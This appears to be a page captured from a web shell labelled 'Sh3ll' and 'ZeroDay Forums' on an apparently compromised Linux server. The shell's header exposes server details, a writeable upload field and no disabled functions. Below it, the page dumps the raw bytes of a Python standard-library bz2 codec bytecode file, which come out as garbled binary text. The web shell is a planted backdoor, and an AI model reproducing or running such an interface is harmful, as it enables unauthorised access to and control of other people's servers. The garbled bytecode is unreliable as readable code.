Sh3ll
OdayForums


Server : Apache
System : Linux server1.cgrithy.com 3.10.0-1160.95.1.el7.x86_64 #1 SMP Mon Jul 24 13:59:37 UTC 2023 x86_64
User : nobody ( 99)
PHP Version : 8.1.23
Disable Function : NONE
Directory :  /opt/alt/python38/lib64/python3.8/encodings/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //opt/alt/python38/lib64/python3.8/encodings/__pycache__/bz2_codec.cpython-38.pyc
U

��,a��@s�dZddlZddlZddd�Zddd�ZGdd	�d	ej�ZGd
d�dej�ZGdd
�d
ej�ZGdd�deej�ZGdd�deej	�Z	dd�Z
dS)aPython 'bz2_codec' Codec - bz2 compression encoding.

This codec de/encodes from bytes to bytes and is therefore usable with
bytes.transform() and bytes.untransform().

Adapted by Raymond Hettinger from zlib_codec.py which was written
by Marc-Andre Lemburg (mal@lemburg.com).
�N�strictcCs|dkst�t�|�t|�fS�Nr)�AssertionError�bz2�compress�len��input�errors�r�8/opt/alt/python38/lib64/python3.8/encodings/bz2_codec.py�
bz2_encodesr
cCs|dkst�t�|�t|�fSr)rr�
decompressrrrrr�
bz2_decodesrc@s eZdZddd�Zddd�ZdS)	�CodecrcCs
t||�S�N)r
��selfr	r
rrr�encodeszCodec.encodecCs
t||�Sr)rrrrr�decodeszCodec.decodeN)r)r)�__name__�
__module__�__qualname__rrrrrrrs
rc@s(eZdZd
dd�Zddd�Zdd�Zd	S)�IncrementalEncoderrcCs |dkst�||_t��|_dSr)rr
r�
BZ2Compressor�compressobj�rr
rrr�__init__szIncrementalEncoder.__init__FcCs.|r|j�|�}||j��S|j�|�SdSr)rr�flush)rr	�final�crrrr#szIncrementalEncoder.encodecCst��|_dSr)rrr�rrrr�reset*szIncrementalEncoder.resetN)r)F)rrrrrr"rrrrrs

rc@s(eZdZd
dd�Zddd�Zdd�Zd	S)�IncrementalDecoderrcCs |dkst�||_t��|_dSr)rr
r�BZ2Decompressor�
decompressobjrrrrr.szIncrementalDecoder.__init__FcCs*z|j�|�WStk
r$YdSXdS)N�)r%r�EOFError)rr	rrrrr3szIncrementalDecoder.decodecCst��|_dSr)rr$r%r!rrrr"9szIncrementalDecoder.resetN)r)F)rrrrrr"rrrrr#-s

r#c@seZdZeZdS)�StreamWriterN�rrr�bytes�charbuffertyperrrrr(<sr(c@seZdZeZdS)�StreamReaderNr)rrrrr,?sr,c
Cstjdttttttdd�S)NrF)�namerr�incrementalencoder�incrementaldecoder�streamwriter�streamreader�_is_text_encoding)�codecs�	CodecInfor
rrr#r(r,rrrr�getregentryDs�r5)r)r)�__doc__r3rr
rrrr#r(r,r5rrrr�<module>s	



ZeroDay Forums Mini